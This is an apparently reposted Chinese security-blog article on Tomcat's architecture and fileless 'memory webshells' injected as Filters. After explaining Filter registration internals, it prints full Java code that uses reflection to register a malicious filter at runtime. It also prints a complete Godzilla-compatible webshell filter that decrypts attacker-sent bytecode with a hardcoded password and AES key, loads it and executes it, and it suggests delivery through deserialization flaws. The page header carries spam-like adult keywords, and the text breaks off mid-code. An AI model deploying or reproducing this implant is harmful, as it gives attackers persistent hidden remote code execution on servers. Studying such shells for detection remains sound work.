欧美性猛交xxxx免费看_牛牛在线视频国产免费_天堂草原电视剧在线观看免费_国产粉嫩高清在线观看_国产欧美日本亚洲精品一5区

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

Tomcat基本組件和關(guān)系

jf_vLt34KHi ? 來源:Tide安全團(tuán)隊(duì) ? 2023-06-05 17:29 ? 次閱讀

0x01 內(nèi)存馬介紹

內(nèi)存馬,通過中間件特性注冊(cè)為其組件的無文件webshell,其核心思路是訪問路徑映射和相關(guān)代碼的動(dòng)態(tài)注冊(cè)。在tomcat中內(nèi)存馬主要有以下幾種類型:

  1. 1.Servlet內(nèi)存馬

  2. 2.Filter內(nèi)存馬

  3. 3.Valve內(nèi)存馬

  4. 4.listener內(nèi)存馬

上述類型的內(nèi)存馬在tomcat7(支持Servlet API 3.0)以后可以通過動(dòng)態(tài)注冊(cè)方式向中間件注入,也因其可以動(dòng)態(tài)注冊(cè)的特點(diǎn)所以可以在反序列化等可任意執(zhí)行代碼的漏洞點(diǎn)進(jìn)行利用。

0x02 Tomcat基礎(chǔ)

Tomcat基本組件和關(guān)系

79193f44-02c0-11ee-90ce-dac502259ad0.png7928f6d2-02c0-11ee-90ce-dac502259ad0.pngtomcat結(jié)構(gòu)在server.xml中的體現(xiàn)

Tomcat是一種Web應(yīng)用服務(wù)器,一個(gè)Servlet/JSP容器,Tomcat將以下幾種組件作為基本構(gòu)成:

  1. 1.Server:Tomcat實(shí)例中的頂級(jí)容器組件,由一個(gè)或多個(gè)Service組成。

  2. 2.Service:Connector和Container的集合,負(fù)責(zé)數(shù)據(jù)接收、處理和返回,由一個(gè)Container和一個(gè)(可以多個(gè))Connector組成。

  3. 3.Connector:連接器,顧名思義作為外部數(shù)據(jù)到Container的連接管道,封裝了底層通信協(xié)議處理方法,其作用是監(jiān)聽某一端口隨時(shí)接收客戶端連接請(qǐng)求,當(dāng)請(qǐng)求到達(dá)時(shí)根據(jù)協(xié)議不同做分類處理后交由Container并將Container的返回結(jié)果做封裝返回給客戶端。

  4. 4.Container:封裝和管理Servlet的容器,接收Connector傳入數(shù)據(jù)做具體邏輯處理后將結(jié)果返回到Connector。

79416014-02c0-11ee-90ce-dac502259ad0.png

Connector基本結(jié)構(gòu):Connector由多個(gè)protocolhandler(協(xié)議處理器)、Adapter(適配器)和Mapper(路由導(dǎo)航組件)組成,每個(gè)protocolhandler又由Endpoint、Processor組成。

  1. 1.Endpoint:通常與Connector相關(guān)聯(lián),用來處理底層Socket的網(wǎng)絡(luò)連接。

    1. 1.Acceptor:連接接收器,用于接收客戶端的連接請(qǐng)求并分配給對(duì)應(yīng)的處理器進(jìn)行處理。

    2. 2.Executor:線程池,用于任務(wù)處理。

  2. 2.Processor:Processor用于將Endpoint接收到的Socket封裝成Request。

  3. 3.Mapper:客戶端請(qǐng)求的路由導(dǎo)航組件,通過它能對(duì)一個(gè)完整的請(qǐng)求地址進(jìn)行路由,通俗地說,就是它能通過請(qǐng)求地址找到對(duì)應(yīng)的Servlet。

  4. 4.Adapter:Adapter用于將Request/Response進(jìn)一步封裝為ServletRequest/ServletResponse對(duì)象交給具體某個(gè)Engine進(jìn)行具體的處理/返回給客戶端。

7977f0b6-02c0-11ee-90ce-dac502259ad0.png

在tomcat中Container是一個(gè)抽象概念,用來表示一組組件的集合。Container由四個(gè)子容器組成,分別是Engine、Host、Context、Wrapper組成,它們之間是負(fù)責(zé)關(guān)系,存在包含關(guān)系。

  1. 1.Engine:引擎,用于管理多個(gè)虛擬主機(jī)(Host)的請(qǐng)求處理。

  2. 2.Host:虛擬主機(jī),用于管理多個(gè)web應(yīng)用程序(Context)的請(qǐng)求處理。

  3. 3.Context:Web 應(yīng)用程序,是 Tomcat 中的最小部署單元,包含多個(gè) Servlet 和 JSP 文件以及其他 Web 資源。

  4. 4.Wrapper:是Servlet 的容器,包含一個(gè)Servlet和多個(gè)Filter,用于將 Servlet 映射到對(duì)應(yīng)的 Context 上。

79a974e2-02c0-11ee-90ce-dac502259ad0.png

Tomcat的責(zé)任鏈設(shè)計(jì)模式:責(zé)任鏈模式是一種行為型設(shè)計(jì)模式,它允許將請(qǐng)求沿著處理鏈傳遞,直到有一個(gè)處理者能夠處理請(qǐng)求為止。每個(gè)處理者都只關(guān)心自己能否處理請(qǐng)求,并且只有在需要時(shí)才將請(qǐng)求轉(zhuǎn)發(fā)給下一個(gè)處理者。在 Tomcat 中,責(zé)任鏈設(shè)計(jì)模式用于處理請(qǐng)求和響應(yīng),通過將請(qǐng)求和響應(yīng)傳遞給一系列的組件,最終生成響應(yīng)并返回給客戶端。這種設(shè)計(jì)模式被廣泛應(yīng)用于 Tomcat 中的各個(gè)組件,例如 Servlet 過濾器、Pipeline&Valve 等。

Tomcat中的管道-閥門模式:Tomcat的管道-閥門模式可以看作是責(zé)任鏈模式的一種實(shí)現(xiàn)。在Tomcat中,請(qǐng)求從Connector進(jìn)入,經(jīng)過多個(gè)閥門(Valve)處理,最終到達(dá)Servlet容器(Engine/Host/Context/Wrapper),完成請(qǐng)求處理。每個(gè)閥門都可以對(duì)請(qǐng)求進(jìn)行處理,也可以選擇放行,將請(qǐng)求傳遞給下一個(gè)閥門進(jìn)行處理,這就是典型的責(zé)任鏈模式的實(shí)現(xiàn)。但是,Tomcat的管道-閥門模式在責(zé)任鏈模式的基礎(chǔ)上,增加了對(duì)閥門的排序和管理,以及對(duì)請(qǐng)求和響應(yīng)的處理。

Tomcat請(qǐng)求處理流程

如本文中第一張圖片所示,Tomcat中請(qǐng)求處理的過程可以簡(jiǎn)單分為以下六步:

  1. 1.用戶發(fā)送請(qǐng)求:用戶通過瀏覽器或其他客戶端向Tomcat發(fā)送HTTP請(qǐng)求,請(qǐng)求特定的資源(例如,一個(gè)HTML頁面、一個(gè)Servlet或一個(gè)JSP頁面)。

  2. 2.連接器接受請(qǐng)求:Tomcat中的連接器(Connector)接受客戶端的請(qǐng)求,Connector是Tomcat中用于處理與客戶端的連接和通信的組件。Connector負(fù)責(zé)在Tomcat和客戶端之間建立網(wǎng)絡(luò)連接,并處理HTTP請(qǐng)求和響應(yīng)。

  3. 3.協(xié)議處理器處理請(qǐng)求:接下來,Tomcat將接受的請(qǐng)求傳遞給適當(dāng)?shù)膮f(xié)議處理器(Protocol Handler)。Protocol Handler根據(jù)請(qǐng)求的協(xié)議類型進(jìn)行選擇,例如HTTP或HTTPS。

  4. 4.請(qǐng)求在容器中處理:一旦協(xié)議處理器選擇了正確的請(qǐng)求處理器(Request Processor),它將請(qǐng)求傳遞給容器(Container)進(jìn)行處理。在Tomcat中,容器是一個(gè)組件層次結(jié)構(gòu),用于處理Web應(yīng)用程序和Servlet。容器包括Engine、Host、Context和Wrapper。請(qǐng)求將從Engine開始,通過Host和Context,最終到達(dá)Wrapper。Wrapper是最終處理請(qǐng)求的組件,它會(huì)執(zhí)行與請(qǐng)求相關(guān)聯(lián)的Servlet。

  5. 5.Servlet處理請(qǐng)求:Servlet根據(jù)請(qǐng)求的類型進(jìn)行處理,并生成相應(yīng)的響應(yīng)。Servlet可以從請(qǐng)求中獲取參數(shù)、執(zhí)行業(yè)務(wù)邏輯,然后生成HTML或其他響應(yīng)內(nèi)容。

  6. 6.響應(yīng)返回給容器:Servlet將響應(yīng)返回給容器,容器將響應(yīng)傳遞給適當(dāng)?shù)娜萜鲗哟谓Y(jié)構(gòu)組件(Wrapper、Context、Host和Engine)。

  7. 7.響應(yīng)返回給協(xié)議處理器:響應(yīng)最終被傳遞回協(xié)議處理器,然后通過連接器返回給客戶端。

    0x03 Tomcat_Filter內(nèi)存馬

    Tomcat_Filter組件

79cb4dba-02c0-11ee-90ce-dac502259ad0.png

Filter是Wrapper的組件,即攔截器,如上圖所示其主要負(fù)責(zé)在請(qǐng)求到達(dá)Servlet之前/Servlet處理之后對(duì)Request/Response進(jìn)行判斷、修飾等操作。Filter的注冊(cè)有三種常見方式,web.xml配置中配置注冊(cè)、注解方式注冊(cè)和動(dòng)態(tài)注冊(cè),通常使用前兩種方式進(jìn)行注冊(cè)。 其組成部分如web.xml中的定義所示:


Myfilter
com.zzservlet.MyFilter


Myfilter
/hello

1.filter-name:filter的名稱
2.filter-class:filter的實(shí)現(xiàn)類類名
3.filter-mapping:filterMap中的內(nèi)容,包含filter-name和url-pattern,其中url-pattern是當(dāng)前攔截器執(zhí)行的url路徑。

注冊(cè)流程分析

注冊(cè)過程演示

1.自定義Filter,實(shí)現(xiàn)Filter接口的三個(gè)基礎(chǔ)方法。

1.init(FilterConfigconfig):初始化自定義Filter,config參數(shù)為自定義Filter的配置
2.doFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain):自定義Filter的邏輯處理部分,F(xiàn)ilterChain-->攔截器責(zé)任鏈,存儲(chǔ)當(dāng)前web應(yīng)用所有的Filter
3.destroy():銷毀

2.在web.xml配置文件中注冊(cè)定義Filter。


Myfilter
com.zzservlet.MyFilter


Myfilter
/hello

3.訪問指定的URL,判定自定義的Filter是否被執(zhí)行。

79e9a8b4-02c0-11ee-90ce-dac502259ad0.png

代碼流程分析

在分析之前先了解幾個(gè)常用對(duì)象的定義:

filterConfig:存儲(chǔ)filter配置的對(duì)象,由context(當(dāng)前應(yīng)用上下文)、filterDef和filter實(shí)例組成
filterDef:存儲(chǔ)filter定義的對(duì)象,由filterClassName和filterName組成。
filterMap:存儲(chǔ)filtername和filterURLPattern。
filterDefs:存儲(chǔ)filterDef的hashmap
filterMaps:存儲(chǔ)filterMap的hashmap
filterConfigs:存儲(chǔ)filterConfig的hashmap

初始化

Tomcat中Filter的初始化過程主要分為三個(gè)步驟:配置解析、Filter對(duì)象的實(shí)例化、以及調(diào)用Filter的初始化方法。 配置解析 在Tomcat啟動(dòng)過程中,會(huì)解析Web應(yīng)用的配置文件(如web.xml),找到所有配置的Filter。通過解析配置文件,Tomcat將Filter的全類名以及Filter的參數(shù)信息存儲(chǔ)在一個(gè)FilterDef對(duì)象中,用于后續(xù)的實(shí)例化和初始化。 Filter對(duì)象的實(shí)例化 在Web應(yīng)用啟動(dòng)時(shí),Tomcat會(huì)對(duì)所有配置的Filter進(jìn)行實(shí)例化。在實(shí)例化過程中,Tomcat通過反射機(jī)制創(chuàng)建Filter的實(shí)例對(duì)象,并調(diào)用Filter的默認(rèn)構(gòu)造函數(shù)進(jìn)行初始化。此時(shí)Filter的成員變量均未初始化,僅具有默認(rèn)值。 調(diào)用Filter的初始化方法 實(shí)例化后,Tomcat會(huì)調(diào)用Filter的初始化方法init(FilterConfig config)進(jìn)行初始化。在初始化方法中,F(xiàn)ilter可以讀取配置文件中的參數(shù),以及獲得ServletContext對(duì)象,進(jìn)行一些必要的初始化操作。在這一過程中,F(xiàn)ilterConfig對(duì)象被創(chuàng)建,并傳遞給init方法。FilterConfig對(duì)象包含了Filter的配置信息和ServletContext對(duì)象。

ApplicationFilterConfig實(shí)例在StandardContext#filterStart方法中生成,此方法遍歷filterDefs,當(dāng)filterName不為空時(shí)生成其filterConfig并放入filterConfigs中。filterDefs是filterDef組成的HashMap,filterDef是存放filterName和filterClass名稱的對(duì)象。

publicbooleanfilterStart(){

if(getLogger().isDebugEnabled())
getLogger().debug("Startingfilters");
//InstantiateandrecordaFilterConfigforeachdefinedfilter
booleanok=true;
synchronized(filterConfigs){
filterConfigs.clear();
Iteratornames=filterDefs.keySet().iterator();
while(names.hasNext()){
Stringname=names.next();
if(getLogger().isDebugEnabled())
getLogger().debug("Startingfilter'"+name+"'");
ApplicationFilterConfigfilterConfig=null;
try{
filterConfig=newApplicationFilterConfig(this,filterDefs.get(name));
filterConfigs.put(name,filterConfig);
}catch(Throwablet){
ExceptionUtils.handleThrowable(t);
getLogger().error
(sm.getString("standardContext.filterStart",name),t);
ok=false;
}
}
}

return(ok);

}
7a02e306-02c0-11ee-90ce-dac502259ad0.png

自定義的filter執(zhí)行init方法時(shí)傳入FilterConfig,F(xiàn)ilterConfig內(nèi)保存有以下幾個(gè)部分:filter,當(dāng)前filter實(shí)例對(duì)象;filterDef,當(dāng)前filter名稱與類名;context,當(dāng)前web應(yīng)用程序上下文。

7a1aeed8-02c0-11ee-90ce-dac502259ad0.png

執(zhí)行階段

FilterChain在StandardWrapperValve#invoke方法中調(diào)用ApplicationFilterFactory#createFilter方法生成。

7a2eb620-02c0-11ee-90ce-dac502259ad0.png

首先創(chuàng)建初始化一個(gè)空的filterChain--->獲取當(dāng)前應(yīng)用程序的攔截器映射FilterMap filterMaps[] = context.findFilterMaps();,filterMap中存放著當(dāng)前context中filter的URLpattern和filterName。-->遍歷filterMaps,當(dāng)前請(qǐng)求url與filterMap中的urlpattern匹配時(shí)通過context獲取FilterConfig對(duì)象ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());并添加至filterChain中filterChain.addFilter(filterConfig);

publicApplicationFilterChaincreateFilterChain
(ServletRequestrequest,Wrapperwrapper,Servletservlet){

//getthedispatchertype
DispatcherTypedispatcher=null;
if(request.getAttribute(DISPATCHER_TYPE_ATTR)!=null){
dispatcher=(DispatcherType)request.getAttribute(DISPATCHER_TYPE_ATTR);
}
StringrequestPath=null;
Objectattribute=request.getAttribute(DISPATCHER_REQUEST_PATH_ATTR);

if(attribute!=null){
requestPath=attribute.toString();
}

//Ifthereisnoservlettoexecute,returnnull
if(servlet==null)
return(null);

booleancomet=false;

//Createandinitializeafilterchainobject
ApplicationFilterChainfilterChain=null;
if(requestinstanceofRequest){
Requestreq=(Request)request;
comet=req.isComet();
if(Globals.IS_SECURITY_ENABLED){
//Security:Donotrecycle
filterChain=newApplicationFilterChain();
if(comet){
req.setFilterChain(filterChain);
}
}else{
filterChain=(ApplicationFilterChain)req.getFilterChain();
if(filterChain==null){
filterChain=newApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
}else{
//Requestdispatcherinuse
filterChain=newApplicationFilterChain();
}

filterChain.setServlet(servlet);

filterChain.setSupport
(((StandardWrapper)wrapper).getInstanceSupport());

//AcquirethefiltermappingsforthisContext
StandardContextcontext=(StandardContext)wrapper.getParent();
FilterMapfilterMaps[]=context.findFilterMaps();

//Iftherearenofiltermappings,wearedone
if((filterMaps==null)||(filterMaps.length==0))
return(filterChain);

//Acquiretheinformationwewillneedtomatchfiltermappings
StringservletName=wrapper.getName();

//Addtherelevantpath-mappedfilterstothisfilterchain
for(inti=0;i

向filterchain中添加filterconfigfilterChain.addFilter(filterConfig),遍歷filters是否存在要傳入的filterConfig防止重復(fù)添加,當(dāng)filters.length為0時(shí)新建長(zhǎng)度為10的filters并添加傳入的filterConfig

voidaddFilter(ApplicationFilterConfigfilterConfig){

//Preventthesamefilterbeingaddedmultipletimes
for(ApplicationFilterConfigfilter:filters)
if(filter==filterConfig)
return;

if(n==filters.length){
ApplicationFilterConfig[]newFilters=
newApplicationFilterConfig[n+INCREMENT];
System.arraycopy(filters,0,newFilters,0,n);
filters=newFilters;
}
filters[n++]=filterConfig;

}

至此filterChain封裝完成,返回到StandardWrapperValve#invoke方法中執(zhí)行filterChain.doFilter(request.getRequest(), response.getResponse());進(jìn)入當(dāng)前攔截器責(zé)任鏈的執(zhí)行階段。

publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse)
throwsIOException,ServletException{

if(Globals.IS_SECURITY_ENABLED){
finalServletRequestreq=request;
finalServletResponseres=response;
try{
java.security.AccessController.doPrivileged(
newjava.security.PrivilegedExceptionAction(){
@Override
publicVoidrun()
throwsServletException,IOException{
internalDoFilter(req,res);
returnnull;
}
}
);
}catch(PrivilegedActionExceptionpe){
Exceptione=pe.getException();
if(einstanceofServletException)
throw(ServletException)e;
elseif(einstanceofIOException)
throw(IOException)e;
elseif(einstanceofRuntimeException)
throw(RuntimeException)e;
else
thrownewServletException(e.getMessage(),e);
}
}else{
internalDoFilter(request,response);
}
}

在doFilter方法中會(huì)ApplicationFilterChain#internalDoFilter,通過filterConfig.getFilter()獲取filter實(shí)例后依次調(diào)用filterChain中filter的doFilter方法完成執(zhí)行。

7a48f1b6-02c0-11ee-90ce-dac502259ad0.png

整個(gè)的執(zhí)行過程總結(jié)如下:

  1. 1.StandardWrapperValve#invoke中調(diào)用ApplicationFilterFactory#createFilterChain方法,在createFilterChain中從當(dāng)前context中取到filterMaps,遍歷filterMaps根據(jù)適配情況從filterMap中取到filterName再據(jù)此filterName從context中取到對(duì)應(yīng)的filterConfig。

  2. 2.ApplicationFilterFactory#createFilterChain中調(diào)用ApplicationFilterChain#addFilter,在addFilter方法中將傳入的filterConfig裝入filterChain。

  3. 3.完成filterChain的封裝后執(zhí)行其doFilter方法,依次執(zhí)行其中每個(gè)filter對(duì)象的doFilter方法。

7a678ec8-02c0-11ee-90ce-dac502259ad0.png

動(dòng)態(tài)注冊(cè)Tomcat_Filter

實(shí)現(xiàn)邏輯

流程分析前要用的那幾個(gè)對(duì)象存儲(chǔ)在StandardContext對(duì)象中。

7a7952ac-02c0-11ee-90ce-dac502259ad0.png

在Tomcat中,ServletContext是整個(gè)Web應(yīng)用程序的基礎(chǔ)接口,代表當(dāng)前Web應(yīng)用程序的上下文環(huán)境,提供訪問Web應(yīng)用程序配置信息和資源的方法。ApplicationContext是ServletContext的實(shí)現(xiàn)類,用于管理整個(gè)Web應(yīng)用程序的生命周期和資源。而StandardContext則是ApplicationContext的具體實(shí)現(xiàn)類之一,用于表示一個(gè)Web應(yīng)用程序的標(biāo)準(zhǔn)上下文實(shí)現(xiàn)。因此,它們?nèi)咧g是一種包含關(guān)系,即StandardContext是ApplicationContext的子類,ApplicationContext是ServletContext的子類。 根據(jù)其關(guān)系可通過如下方式獲取StandardContext對(duì)象。

ServletContextservletContext=req.getServletContext();
Fieldf=servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContextstandardContext=(StandardContext)f.get(applicationContext);

創(chuàng)建一個(gè)要注入的惡意類

FilterevalFiler=newFilter(){
@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{
System.out.println("evalFilterinit~");
}

@Override
publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,ServletException{
System.out.println("evalFilterdoFilter~");
response.getWriter().println("injectsuccess!");
chain.doFilter(request,response);
}

@Override
publicvoiddestroy(){

}
};
Stringname="Hasaki";

首先初始化過程在filterStart方法中filterConfig = new ApplicationFilterConfig(this, filterDefs.get(name));動(dòng)態(tài)創(chuàng)建時(shí)并不會(huì)調(diào)用filterStart方法但與其構(gòu)造對(duì)應(yīng)的filterConfig對(duì)象原理一樣,使用創(chuàng)建其filterconfig對(duì)象用到了filterDefs那么應(yīng)該首先創(chuàng)建惡意filter的filterDef并添加至當(dāng)前應(yīng)用的filterDefs中

FilterDeffilterDef=newFilterDef();
filterDef.setFilter(evalFilter);
filterDef.setFilterName(name)
filterDef.serFilterClassName(evalFilter.getClass().getName());

//通過StandardContext中的addFilterDef方法將其加入filteDefs中
standardContext.addFilterDef(filterDef);

創(chuàng)建其FilterConfig實(shí)例并加入當(dāng)前應(yīng)用的filterConfigs中

//創(chuàng)建filterConfig實(shí)例并加入到filterConfigs中
//由于ApplicationFilter構(gòu)造方法是protected非public只能通過反射進(jìn)行創(chuàng)建
Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);

ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});

f=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(name,filterConfig);

根據(jù)filterChain實(shí)例的創(chuàng)建過程需要把filterMap定義出來并加入filterMaps

//創(chuàng)建filterMap實(shí)例并加入到filterMaps中
FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//通過StandardContext的addFilterMapBefore方法將filterMap加入到filterMaps中的第一個(gè)位置
standardContext.addFilterMapBefore(filterMap);

至此在tomcat中動(dòng)態(tài)注冊(cè)自定義filter就完成了,完整代碼如下:

packagecom.zzservlet;

importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;
importorg.apache.catalina.Context;


importjavax.servlet.*;
importjavax.servlet.http.HttpServlet;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.lang.reflect.Method;
importjava.util.HashMap;

publicclassHelloWorldextendsHttpServlet{


@Override
protectedvoiddoGet(HttpServletRequestreq,HttpServletResponseresp)throwsServletException,IOException{
//創(chuàng)建惡意攔截器
FilterevalFiler=newFilter(){
@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{
System.out.println("evalFilterinit~");
}

@Override
publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,ServletException{
System.out.println("evalFilterdoFilter~");
response.getWriter().println("injectsuccess!");
chain.doFilter(request,response);
}

@Override
publicvoiddestroy(){

}
};



try{
Stringname="Hasaki";
ServletContextservletContext=req.getServletContext();
//判斷攔截器是否已經(jīng)注冊(cè)過了
if(servletContext.getFilterRegistration(name)==null){
Fieldf=servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContextstandardContext=(StandardContext)f.get(applicationContext);


//創(chuàng)建filterDef實(shí)例并加入到filterDefs中
FilterDeffilterDef=newFilterDef();
filterDef.setFilter(evalFiler);
filterDef.setFilterName(name);
filterDef.setFilterClass(evalFiler.getClass().getName());

standardContext.addFilterDef(filterDef);

//創(chuàng)建filterConfig實(shí)例并加入到filterConfigs中
Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);

ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});

f=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(name,filterConfig);



//創(chuàng)建filterMap實(shí)例并加入到filterMaps中
FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);
}



}catch(Exceptione){e.printStackTrace();}


}
}

訪問http://localhost:8080/hello后訪問http://localhost:8080/出現(xiàn)自定義filter中doFilter方法中執(zhí)行的打印內(nèi)容。

7ab4ccba-02c0-11ee-90ce-dac502259ad0.png

實(shí)現(xiàn)一個(gè)Godzilla內(nèi)存馬

代碼中/hello2可替換成任意存在的URL路徑或者設(shè)置"*"。

packagecom.utils;


importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;

importjavax.crypto.Cipher;
importjavax.crypto.spec.SecretKeySpec;
importjavax.servlet.*;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjavax.servlet.http.HttpSession;
importjava.io.ByteArrayOutputStream;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.math.BigInteger;
importjava.security.MessageDigest;
importjava.util.HashMap;

publicclassMyGodzillaFilterShellextendsClassLoaderimplementsFilter{


privateServletContextservletContext;
StringPwd="pass";
Stringxc="3c6e0b8a9c15224a";
Stringmd5=md5(this.Pwd+this.xc);
publicHttpServletRequestrequest=null;
publicHttpServletResponseresponse=null;
publicStringcs="UTF-8";



publicMyGodzillaFilterShell(){}

publicMyGodzillaFilterShell(ClassLoaderz){super(z);}

publicClassQ(byte[]cb){
returndefineClass(cb,0,cb.length);
}


publicStandardContextgetStandardContext(){
StandardContextstandardContext=null;

this.servletContext=request.getServletContext();
try{
Fieldf=this.servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(this.servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
standardContext=(StandardContext)f.get(applicationContext);

}catch(Exceptione){}
returnstandardContext;
}

publicStringaddFiter(){
//通過request對(duì)象回去StandardContext實(shí)例對(duì)象
StandardContextstandardContext=getStandardContext();
StringfilterName="Aatrox";
Stringres=null;


//判斷filterName是否已被注冊(cè)過
if(request.getServletContext().getFilterRegistration(filterName)==null){

//注冊(cè)過程
try{
FilterDeffilterDef=newFilterDef();
filterDef.setFilterClass(this.getClass().getName());
filterDef.setFilter(this);
filterDef.setFilterName(filterName);

standardContext.addFilterDef(filterDef);

Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);
ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});

Fieldf=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(filterName,filterConfig);

FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("/hello2");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

res="Success!";

}catch(Exceptione){
res="Error!";
}
}else{
res="Filteralreadyexisted!";
}
returnres;
}


publicstaticStringmd5(Strings){
Stringret=null;

try{
MessageDigestm=MessageDigest.getInstance("MD5");
m.update(s.getBytes(),0,s.length());
ret=(newBigInteger(1,m.digest())).toString(16).toUpperCase();
}catch(Exceptionexception){}

returnret;
}





publicstaticbyte[]base64Decode(Stringbs)throwsException{
byte[]value=null;
try{
Classbase64=Class.forName("java.util.Base64");
Objectdecoder=base64.getMethod("getDecoder",null).invoke(base64,(Object[])null);
value=(byte[])decoder.getClass().getMethod("decode",newClass[]{String.class}).invoke(decoder,newObject[]{bs});
}catch(Exceptione){
try{
Classbase64=Class.forName("sun.misc.BASE64Decoder");
Objectdecoder=base64.newInstance();
value=(byte[])decoder.getClass().getMethod("decodeBuffer",newClass[]{String.class}).invoke(decoder,newObject[]{bs});
}catch(Exceptionexception){}
}

returnvalue;
}

publicstaticStringbase64Encode(byte[]bs)throwsException{
Stringvalue=null;
try{
Classbase64=Class.forName("java.util.Base64");
ObjectEncoder=base64.getMethod("getEncoder",null).invoke(base64,(Object[])null);
value=(String)Encoder.getClass().getMethod("encodeToString",newClass[]{byte[].class}).invoke(Encoder,newObject[]{bs});
}catch(Exceptione){
try{
Classbase64=Class.forName("sun.misc.BASE64Encoder");
ObjectEncoder=base64.newInstance();
value=(String)Encoder.getClass().getMethod("encode",newClass[]{byte[].class}).invoke(Encoder,newObject[]{bs});
}catch(Exceptionexception){}
}

returnvalue;
}

publicbyte[]x(byte[]s,booleanm){
try{
Cipherc=Cipher.getInstance("AES");
c.init(m?1:2,newSecretKeySpec(this.xc.getBytes(),"AES"));
returnc.doFinal(s);
}catch(Exceptione){
returnnull;
}
}


publicbooleanequals(Objectobj){
parseObj(obj);
StringBufferoutput=newStringBuffer();

try{
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(addFiter());
}catch(Exceptione){
output.append("error:"+e.toString());
}
try{
this.response.getWriter().print(output.toString());
this.response.getWriter().flush();
this.response.getWriter().close();
}catch(Exceptionexception){}

returntrue;
}


//解析參數(shù),傳入的值必須是對(duì)象數(shù)組
publicvoidparseObj(Objectobj){
Object[]data=(Object[])obj;
this.request=(HttpServletRequest)data[0];
this.response=(HttpServletResponse)data[1];

}




@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{

}

@Override
publicvoiddoFilter(ServletRequestreq,ServletResponseresp,FilterChainchain)throwsIOException,ServletException{
//webshell實(shí)現(xiàn)部分,負(fù)責(zé)實(shí)現(xiàn)接收/返回?cái)?shù)據(jù)解析、加解密等
try{
HttpServletRequestrequest=(HttpServletRequest)req;
HttpServletResponseresponse=(HttpServletResponse)resp;

HttpSessionsession=request.getSession();

byte[]data=base64Decode(req.getParameter(this.Pwd));
data=x(data,false);
if(session.getAttribute("payload")==null){
session.setAttribute("payload",(newMyGodzillaFilterShell(getClass().getClassLoader())).Q(data));
}else{
request.setAttribute("parameters",data);
ByteArrayOutputStreamarrOut=newByteArrayOutputStream();
Objectf=((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
response.getWriter().write(this.md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
response.getWriter().write(this.md5.substring(16));
}
}catch(Exceptionexception){}
//chain.doFilter(req,resp);

}

@Override
publicvoiddestroy(){

}
}

在之前編寫的hello這個(gè)Servlet中嘗試觸發(fā),這是在已知request對(duì)象的場(chǎng)景下,在未知場(chǎng)景下可結(jié)合前面反序列化回顯進(jìn)行利用。

packagecom.zzservlet;

importcom.utils.MyGodzillaFilterShell;
